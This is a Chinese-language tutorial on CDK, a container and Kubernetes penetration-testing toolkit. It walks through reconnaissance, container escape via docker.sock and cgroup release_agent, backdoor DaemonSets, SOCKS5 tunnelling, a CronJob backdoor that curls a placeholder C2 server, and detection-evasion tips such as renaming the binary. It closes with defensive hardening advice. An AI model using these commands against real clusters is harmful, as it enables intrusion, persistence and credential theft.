CDK：云原生安全渗透测试的容器环境一体化工具解析

1. 项目概述一个云原生时代的“瑞士军刀”如果你在云原生安全、渗透测试或者红队评估领域摸爬滚打过一段时间一定会对“工具集”这个概念又爱又恨。爱的是一个趁手的工具集能让你事半功倍快速定位问题恨的是为了完成一个复杂的任务你往往需要在十几个不同的工具、脚本之间来回切换光是环境配置和参数记忆就足以让人头大。今天要聊的CDK就是为解决这个痛点而生的。它不是一个单一功能的工具而是一个用Go语言编写的、专为容器和Kubernetes环境设计的综合渗透测试工具包你可以把它理解为云原生安全领域的“瑞士军刀”。CDK的全称是“Container DucK”这个名字本身就很有趣直译是“容器鸭子”但在安全圈里它更像一个能在容器这片“池塘”里自由潜行、发现问题的“侦察兵”。它的核心价值在于“一体化”和“无依赖”。一体化意味着它将容器逃逸、信息收集、网络探测、权限提升、持久化等数十种常见攻击和评估技术集成在一个轻量级的二进制文件中。无依赖意味着你只需要把这个二进制文件丢进目标容器里它就能独立运行无需再安装Python解释器、各种第三方库甚至不需要网络连接来下载额外组件。这对于在受限环境比如一个只有基础镜像的容器中执行评估至关重要。我最初接触CDK是在一次针对某微服务架构的内部红队演练中。目标环境是典型的Kubernetes集群部署了上百个Pod。传统的渗透测试方法比如先上传一个Webshell再通过它下载其他工具不仅步骤繁琐而且极易触发安全告警。而CDK的单一二进制特性让我能够通过一个微小的初始入口点比如一个应用漏洞将CDK上传到容器内部然后利用它内置的丰富功能完成从信息收集到横向移动的完整攻击链整个过程干净利落。对于安全研究人员、渗透测试工程师和云平台运维人员来说CDK极大地降低了在容器化环境中进行安全评估的门槛和复杂度。无论你是想验证自己集群的安全性还是在进行授权测试时需要一个强大的“内应”CDK都值得你花时间深入了解。2. 核心功能与设计哲学拆解CDK的设计并非简单的功能堆砌其背后体现了一套针对容器化环境特点的深刻理解和精巧的工程哲学。理解这些能帮助你更好地发挥其威力而不仅仅是机械地执行命令。2.1 核心功能模块全景CDK的功能可以大致划分为几个核心模块每个模块都针对容器环境中的特定安全场景2.1.1 容器环境信息收集 (Reconnaissance)这是所有行动的起点。CDK能自动、全面地收集容器内外的信息远超简单的uname -a或ifconfig。这包括容器自身信息容器ID、镜像名称、标签、运行时Docker, containerd、挂载点、环境变量、进程列表、Capabilities权限列表等。环境变量里可能藏着数据库密码、API密钥等敏感信息。宿主机信息探测通过检查/proc文件系统、挂载点、内核版本等判断容器是否以特权模式运行并尝试发现宿主机根文件系统的挂载路径。这是后续逃逸的基础。Kubernetes环境感知如果容器运行在K8s中CDK会自动发现Service Account令牌、API Server地址、Namespace、Pod IP、节点信息等。它还能尝试与K8s API Server通信列出集群中的Pods、Secrets、ConfigMaps等资源评估当前Service Account的权限范围。云服务元数据访问针对AWS、Google Cloud、阿里云等主流云平台CDK提供了直接访问其实例元数据服务IMDS的功能。如果容器配置不当如误将宿主机网络模式赋予容器攻击者可能直接窃取云平台的临时凭证后果极其严重。2.1.2 容器逃逸与权限提升 (Escape Privilege Escalation)这是CDK的“王牌”模块。它集成了数十种已知的容器逃逸技术并提供了统一的调用接口。这些技术大致分为几类危险配置利用例如利用挂载了Docker Socket (/var/run/docker.sock) 的容器直接与宿主机Docker守护进程通信在宿主机上运行新容器。利用--privileged特权模式或某些特定的Linux Capabilities如CAP_SYS_ADMIN,CAP_SYS_PTRACE进行逃逸。内核漏洞利用CDK内置或可以加载一些经典的提权EXP如DirtyCow、shocker等并针对容器环境进行了适配和封装。挂载逃逸如果宿主机根目录、敏感目录如/etc,/var/lib/kubelet被挂载到容器内CDK可以指导你直接读写这些路径实现逃逸或信息窃取。程序逻辑漏洞利用容器内某些有缺陷的SUID程序或高权限服务。CDK的强大之处在于它会根据当前容器的配置信息自动评估并列出所有可行的逃逸路径并给出风险等级和建议你无需手动记忆繁杂的漏洞利用条件。2.1.3 网络探测与横向移动 (Network Lateral Movement)进入一个容器后下一步往往是探索内部网络。CDK提供了便捷的网络工具内网扫描进行TCP/UDP端口扫描发现内网存活主机和服务。Kubernetes Service探测自动发现K8s集群内的Service和Endpoint绘制内部服务网络图。隧道与代理在容器内建立SOCKS5代理或反向隧道将内网流量转发出来方便你使用本地的渗透测试工具如Metasploit, Nmap进行更深度的测试。DNS信息收集枚举内网DNS记录可能发现未对外暴露的管理后台或测试环境。2.1.4 持久化与后门 (Persistence)为了模拟高级持续性威胁APTCDK提供了在容器或K8s集群中建立持久化后门的方法例如部署恶意Kubernetes资源创建具有高权限的DaemonSet、CronJob或Pod确保即使当前容器被销毁攻击者依然能通过新创建的资源保持访问。容器内后门写入定时任务Cron、修改SSH密钥、植入Webshell等。利用K8s RBAC如果获取了足够权限可以绑定更高权限的ClusterRole为后续攻击铺路。2.1.5 信息窃取与敏感数据发现 (Credential Data Discovery)自动在容器文件系统、环境变量、历史命令、配置文件如~/.kube/config,~/.aws/credentials中搜索敏感信息如密码、密钥、API令牌等。它还能直接读取K8s的Secrets资源如果当前Service Account有权限。2.2 设计哲学为什么是Go为什么是单体二进制选择Go语言Go编译生成的是静态链接的二进制文件所有依赖都打包在一个可执行文件中。这完美契合了“无依赖”和“跨平台”的需求。你可以在自己的x86_64 Linux上编译好CDK然后直接扔进一个基于Alpine Linuxmusl libc的ARM容器里它依然能运行。相比之下Python脚本需要解释器且可能依赖大量第三方包在精简容器中几乎是不可用的。单体二进制与插件化CDK采用“核心插件”的架构但最终编译成一个文件。核心框架负责生命周期管理、参数解析、统一输出。所有功能都以“模块”Module的形式实现并通过统一的cdk run命令调用。这种设计带来了几个好处部署极其简单只需要一个文件传输动作。规避检测单一二进制比一堆脚本和工具更隐蔽可以重命名行为也相对统一。功能强大且灵活开发者可以很容易地编写新的功能模块编译进CDK扩展其能力。社区也在不断贡献新的逃逸技术和利用模块。自动化评估与交互式利用CDK提供了cdk evaluate命令可以自动运行一系列安全检查并生成一份风险评估报告这非常适合蓝队进行自检。同时它也保留了完整的交互式命令让红队人员可以根据实际情况手动选择和执行最合适的攻击模块灵活性极高。注意CDK是一个强大的安全工具其设计初衷是帮助安全专业人员发现和修复漏洞。请务必仅在你自己拥有完全所有权的环境如本地测试集群、授权演练环境中使用。未经授权对他人的系统使用CDK是非法行为。3. 实战演练从零开始使用CDK进行容器渗透测试理论说得再多不如亲手操作一遍。下面我将以一个模拟的脆弱Kubernetes环境为例带你走一遍使用CDK进行内部评估的典型流程。我们假设你已经通过某种方式例如利用一个Web应用RCE漏洞在一个默认Service Account权限的Pod里获得了一个Shell。3.1 环境准备与CDK植入首先你需要获取CDK二进制文件。可以从项目的GitHub Release页面下载预编译版本或者从源码编译。# 在攻击者自己的机器上操作 # 1. 下载最新版CDK (以linux amd64为例) wget https://github.com/cdk-team/CDK/releases/download/v1.5.2/cdk_linux_amd64 chmod x cdk_linux_amd64 # 2. 将CDK上传到目标容器中。 # 方法有很多取决于你的入口点。例如如果有一个文件上传漏洞 # curl -F filecdk_linux_amd64 http://target/upload # 或者通过反弹的Shell直接写入 # cat /tmp/cdk EOF # [粘贴CDK二进制文件的base64编码内容] # EOF # base64 -d /tmp/cdk /tmp/cdk_bin chmod x /tmp/cdk_bin # 这里我们假设已经通过某种方式将文件放入了容器并命名为cdk进入容器内的Shell确认CDK可以运行# 在目标容器Shell内操作 ./cdk version如果看到版本信息说明植入成功。3.2 第一步全面信息收集 (Recon)在动手之前先摸清环境。使用cdk evaluate进行自动评估。./cdk evaluate --full这个命令会运行所有信息收集和检查模块输出一份详细的报告。但输出可能很长。我们更常用的是分步收集更有针对性。3.2.1 检查容器和K8s基础信息./cdk run k8s-service-account-info ./cdk run container-mounts ./cdk run container-capabilities ./cdk run proc-environ # 查看环境变量寻找敏感信息 ./cdk run k8s-secret-dump # 尝试dump当前namespace的secrets3.2.2 检查逃逸可能性这是关键一步。CDK可以自动扫描并列出所有可能的逃逸方法。./cdk run eva-esc你会看到一个列表类似下面这样[] Available Escape Methods: [*] CVE-2019-5736: If runc is vulnerable, escape via overwrite runc binary. (High Risk) [*] docker-sock-check: Check if docker.sock is mounted. (Medium Risk) [*] mount-disk: Escape via host root filesystem mount. (High Risk) [*] k8s-shadow-apiserver: Attack K8s api-server. (High Risk) ...每个方法后面会标注风险等级和简要说明。它会自动判断当前环境是否满足漏洞利用条件。例如如果它检测到/var/run/docker.sock被挂载进来docker-sock-check这一项就会显示为可用。3.3 第二步实施容器逃逸假设eva-esc显示docker-sock-check可用这意味着容器内可以访问宿主机的Docker守护进程。这是非常常见且危险的配置错误。3.3.1 利用Docker Socket逃逸# 使用CDK内置的模块利用挂载的docker.sock在宿主机上运行一个特权容器并将宿主机根目录挂载进去。 ./cdk run docker-sock-check运行后CDK可能会自动执行一系列操作或者给出具体的命令指引。一个典型的手动利用流程CDK模块内部封装了类似逻辑是通过/var/run/docker.sock与宿主机Docker通信。在宿主机上创建一个新的容器使用--privileged特权模式并将宿主机根目录(/)挂载到新容器的/host目录。在新容器内执行命令例如chroot /host这样就获得了宿主机根文件系统的访问权限。成功逃逸后你实际上是在宿主机上运行的一个特权容器里。你可以通过./cdk run mount-disk等模块或直接执行命令来操控宿主机。3.3.2 另一种常见逃逸特权容器或危险Capabilities如果容器以--privileged模式运行或者被赋予了CAP_SYS_ADMIN等能力逃逸会更简单。CDK的cap-dac-read-search等模块可以利用这些能力直接读写宿主机文件。# 检查是否有危险的Capabilities ./cdk run container-capabilities # 如果显示有CAP_SYS_ADMIN可以尝试通过cgroup release_agent机制逃逸 ./cdk run cgroup-release-agent这个模块会自动完成利用release_agent进行容器逃逸的所有步骤你只需要按提示操作即可。3.4 第三步横向移动与深入探索逃逸到宿主机后你的视野从单个容器扩展到了整个节点。接下来是探索节点和集群。3.4.1 节点信息收集在宿主机Shell或逃逸获得的特权容器Shell中你可以运行CDK的宿主机信息收集模块如果CDK在宿主机上或者使用系统命令。更关键的是寻找Kubernetes的痕迹。# 检查是否有kubelet配置文件、证书等 find / -name kubelet* -type f 2/dev/null ls -la /var/lib/kubelet/ cat /var/lib/kubelet/config.yaml 2/dev/null # 检查K8s Pod网络信息通常CNI插件会创建网桥 ip addr show route -n3.4.2 攻击Kubernetes集群如果宿主机是一个Kubernetes节点那么/var/lib/kubelet目录下可能包含该节点上Pod的清单、证书等。但更通用的方法是回到最初的容器或新控制的容器利用K8s Service Account的权限进行横向移动。假设我们最初进入的Pod的Service Account拥有较高的权限例如可以列出集群所有Pod我们可以使用CDK与K8s API Server交互。# 在最初容器内执行 # 1. 获取当前Service Account的令牌和API Server地址 ./cdk run k8s-service-account-info # 输出会包含TOKEN和APISERVER # TOKEN: eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9... # APISERVER: https://10.96.0.1:443 # 2. 使用CDK的k8s-backdoor-daemonset模块尝试在集群所有节点上部署一个后门DaemonSet。 # 这需要当前Service Account有创建DaemonSet的权限。 ./cdk run k8s-backdoor-daemonset --imagealpine:latest --cmdsh -c while true; do sleep 1000; done如果权限足够这个命令会在每个节点上创建一个运行alpine镜像的Pod作为你的持久化据点。你可以通过kubectl exec进入这些Pod进一步探索。3.4.3 网络探测与隧道建立为了让你本地的工具能访问集群内网可以建立隧道。# 在目标容器内使用CDK启动一个SOCKS5代理 ./cdk run socks5 --port 1080然后在你的攻击机上配置代理为这个容器的IP和端口1080你所有的工具流量如nmap扫描内网其他服务都会通过该容器转发。3.5 第四步持久化与清理痕迹在授权测试中为了证明危害的持续性可能需要部署后门。但务必在测试结束后清理。部署后门示例谨慎操作# 创建一个简单的CronJob后门每分钟向外部服务器发送一次心跳 ./cdk run k8s-cronjob --imagealpine:latest --schedule* * * * * --cmdsh -c curl http://your-c2-server/heartbeat测试结束后的清理 这是职业道德和授权要求的必须步骤。你需要删除所有创建的攻击资源。# 使用kubectl删除创建的恶意资源如果你有权限 kubectl delete daemonset backdoor-daemonset-name kubectl delete cronjob backdoor-cronjob-name # 清理容器内添加的文件、定时任务等CDK本身不会自动清理这需要你手动完成。务必在测试计划中明确清理阶段。4. 高级技巧、避坑指南与防御建议经过上面的实战你应该对CDK的基本流程有了了解。但在真实、复杂的生产环境中你会遇到各种问题。下面分享一些我踩过坑后总结的经验和高级用法。4.1 高级使用技巧1. 模块的灵活组合与输入输出CDK的每个模块可以接受参数并且输出可以是纯文本或JSON格式。这便于自动化。# 以JSON格式输出信息方便用jq等工具解析 ./cdk run k8s-service-account-info --output-json # 带参数运行模块例如指定扫描的网段 ./cdk run scan --cidr 10.244.0.0/16 --port 80,443,80802. 编写自定义模块 (Tool)CDK支持编写自定义的“工具”模块。你可以在容器内快速编写一个简单的Go脚本利用CDK提供的API如容器信息、K8s客户端来扩展功能。虽然这需要一些Go语言基础但对于固化特定的攻击流程非常有用。项目Wiki上有详细的开发指南。3. 对抗检测与隐蔽执行重命名与隐藏将cdk二进制文件重命名为一个看起来无害的名字如nginx-log、syshelper。内存中执行如果条件允许可以尝试将CDK加载到内存中执行避免在磁盘上留下二进制文件。这通常需要借助其他内存执行工具如Golang的memfd_create技术CDK本身不直接提供。流量伪装使用CDK的隧道功能时考虑结合加密或使用常见的协议端口如443来伪装流量。4. 与外部工具链集成CDK的评估结果evaluate可以输出为JSON你可以编写脚本将其导入到漏洞管理平台或SIEM中作为资产风险状态的一部分。在红队协作中可以将CDK作为初始立足点后的第一个标准化信息收集工具其输出能为团队后续攻击决策提供统一的数据视图。4.2 常见问题与排查 (QA)Q1: 将CDK上传到容器时提示“Permission denied”或文件无法执行A1: 这通常是因为目标文件系统是只读的或者没有写权限。尝试以下方法检查可写目录运行df -h和mount查看哪些挂载点是rw读写的。/tmp、/dev/shm、/run有时是可写的。尝试内存文件系统/dev/shm是典型的内存文件系统通常可写且不落盘。cd /dev/shm wget your-cdk-url。检查是否有noexec挂载选项如果分区以noexec挂载即使有写权限也无法执行二进制文件。这时可能需要依赖解释型语言如已安装的Python、Perl来执行脚本或者寻找未设置noexec的目录。Q2:./cdk run eva-esc没有显示任何可用的逃逸方法怎么办A2: 这说明当前容器环境可能比较安全或者CDK的检测模块未能覆盖所有情况。不要灰心进行手动深入检查仔细分析cdk evaluate的完整输出特别是Container Capabilities、Mounts、Proc Env部分寻找任何异常配置。手动检查敏感挂载cat /proc/self/mountinfo | grep -E /var/run/docker.sock|/host/var/run|/proc.*/root。检查内核版本uname -a手动搜索该版本是否有公开的容器逃逸漏洞。检查K8s Service Account权限cdk run k8s-service-account-info看权限是否很大尝试直接与API Server交互也许不需要逃逸就能控制集群。Q3: 在利用Docker Socket逃逸时连接宿主机Docker Daemon失败A3: 可能原因权限问题即使文件存在Docker Daemon可能只允许root用户或docker组成员访问。检查sock文件的权限ls -la /var/run/docker.sock。在容器内你可能不是root。Docker Daemon监听地址宿主机Docker可能只监听在127.0.0.1而不是Unix Socket。可以检查环境变量DOCKER_HOST。TLS认证生产环境Docker Daemon可能启用了TLS客户端证书认证。如果挂载进来的只有socket文件没有配套的证书和密钥连接也会失败。检查容器内是否有/etc/docker/certs.d/等相关目录和文件。Q4: CDK的K8s相关模块执行失败提示“unable to load in-cluster configuration”A4: 这个错误说明CDK无法自动发现K8s集群的配置即Service Account token和API Server地址。这发生在非K8s环境或者Pod的Service Account没有被正确挂载时。你需要手动指定# 首先手动寻找token和server地址 KUBE_TOKEN$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) KUBE_API_SERVERhttps://$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace).svc.cluster.local:443 # 然后通过环境变量传递给CDK或者使用cdk run命令的参数如果模块支持 KUBERNETES_SERVICE_HOST... KUBERNETES_SERVICE_PORT... ./cdk run k8s-service-account-info如果连/var/run/secrets/kubernetes.io/serviceaccount/目录都不存在那说明这个容器根本就不是K8s Pod或者Service Account被显式禁用K8s攻击路径可能不适用。4.3 从防御角度看CDK如何构建更安全的容器环境知己知彼百战不殆。了解攻击工具能帮助我们更好地防御。1. 最小权限原则 (Principle of Least Privilege)容器层面绝不使用--privileged模式。仔细审查并限制容器的Linux Capabilities只赋予其运行所必需的最小集合。例如一个Web服务器通常不需要CAP_SYS_ADMIN。Kubernetes层面为每个Pod/Service Account使用最小必要的RBAC权限。避免使用cluster-admin或通配符*权限。定期审计RBAC配置。2. 强化容器运行时配置只读根文件系统在可能的情况下将容器的根文件系统挂载为只读(readOnlyRootFilesystem: true)。这能防止攻击者在容器内写入恶意二进制文件如CDK或修改系统文件。禁止特权升级设置allowPrivilegeEscalation: false。使用Seccomp/AppArmor安全配置文件限制容器可以进行的系统调用能有效阻断许多逃逸利用链。K8s和Docker都支持为Pod/容器应用自定义或默认的安全配置文件。3. 敏感信息管理杜绝敏感信息硬编码绝不将密码、密钥、令牌等以环境变量或配置文件的形式直接写入镜像或Pod定义。统一使用K8s Secrets管理并以Volume形式挂载。限制Service Account Token挂载对于不需要访问K8s API的Pod设置automountServiceAccountToken: false。保护云元数据服务使用网络策略或主机防火墙阻止Pod访问云供应商的元数据服务地址如169.254.169.254。4. 持续监控与异常检测行为监控使用Falco、Tracee等运行时安全工具监控容器内的异常行为例如在容器内执行whoami、cat /etc/shadow、创建特权容器、访问Docker Socket等。CDK的许多操作都会触发这类规则。文件完整性监控监控容器内关键目录如/bin,/usr/bin或只读文件系统的写操作及时发现被上传的攻击工具。网络策略使用K8s NetworkPolicy实施严格的网络隔离遵循“默认拒绝”原则只允许必要的Pod间通信限制出网流量尤其是到公网的流量。5. 镜像安全使用经过扫描的、无漏洞的基础镜像。定期更新镜像和运行时环境。在CI/CD流水线中集成静态镜像安全扫描和动态沙箱检测。工具本身无善恶CDK这样的强大工具在攻击者手中是利器在防御者手中则是绝佳的“镜子”能照出我们系统安全架构的每一个瑕疵。定期使用CDK在你的测试环境中进行“攻击演练”主动发现并修复这些配置问题是构建真正有韧性的云原生安全体系不可或缺的一环。